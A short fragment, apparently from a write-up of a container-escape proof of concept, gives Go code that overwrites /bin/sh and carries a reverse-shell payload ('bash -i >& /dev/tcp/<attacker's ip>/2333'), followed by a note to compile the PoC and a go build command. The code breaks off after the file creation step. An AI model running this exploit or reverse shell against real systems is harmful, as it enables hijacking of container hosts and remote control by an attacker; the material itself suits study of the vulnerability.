funcmain() { // This is the line of shell commands that will execute on the host var payload = "#!/bin/bash \n bash -i >& /dev/tcp/<attacker's ip>/2333 0>&1" // First we overwrite /bin/sh with the /proc/self/exe interpreter path fd, err := os.Create("/bin/sh") if err != nil { fmt.Println(err) return } //... }
编译poc
1
sudo CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go